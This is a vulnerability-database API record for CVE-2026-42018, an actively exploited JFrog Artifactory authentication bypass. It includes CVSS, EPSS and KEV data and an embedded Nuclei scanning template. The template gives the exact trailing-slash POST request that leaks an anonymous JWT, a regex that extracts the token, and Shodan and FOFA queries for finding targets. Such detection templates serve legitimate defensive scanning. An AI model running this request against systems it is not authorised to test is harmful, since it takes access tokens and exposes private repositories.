{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-42018/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-42018/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-42018/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-42018/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-42018/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-42018"},"sightings":{"href":"/api/v1/sightings/cve-2026-42018"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.11038,"kev":true,"percentile":0.95711},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-42018.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2026-42018\n\ninfo:\n  name: JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass\n  author: theamanrawat\n  severity: high\n  description: |\n    JFrog Artifactory contains an information disclosure caused by returning an internal anonymous-user token to unauthenticated callers when anonymous access is disabled, letting unauthenticated attackers access sensitive resources. The exploit requires anonymous access to be disabled.\n  impact: |\n    Unauthenticated attackers can access sensitive resources by obtaining internal tokens, potentially leading to information disclosure.\n  remediation: |\n    Update to the latest version where this issue is fixed.\n  reference:\n    - https://docs.jfrog.com/releases/docs/jfrog-security-advisories\n    - https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201\n    - https://github.com/BL0odz/JFrog_CVE-2026-65615-ByGLM\n    - https://edrabb.fr/posts/full-chain-preauth-rce-jfrog-artifactory/\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42018\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-42018\n    epss-score: 0.11038\n    epss-percentile: 0.95711\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.title:\"jfrog\"\n    fofa-query: title=\"jfrog\"\n  tags: cve,cve2026,jfrog,artifactory,auth-bypass,disclosure,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /access/api/v1/aws/token HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n        internal: true\n\n  - raw:\n      - |\n        POST /access/api/v1/aws/token/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"access_token\") && contains(body, \"anonymous\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: anonymous-jwt-token\n        part: body\n        regex:\n          - 'eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+'\n# digest: 4b0a00483046022100becd02fb558229a30de8bcf98aea551e0f2c9ab6d1fe5613927e8c7076b5770f0221009dfd993dabfce5ac74e7300a524a640a757c3072a8a611bcd931ffea7bfdf014:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-42018"}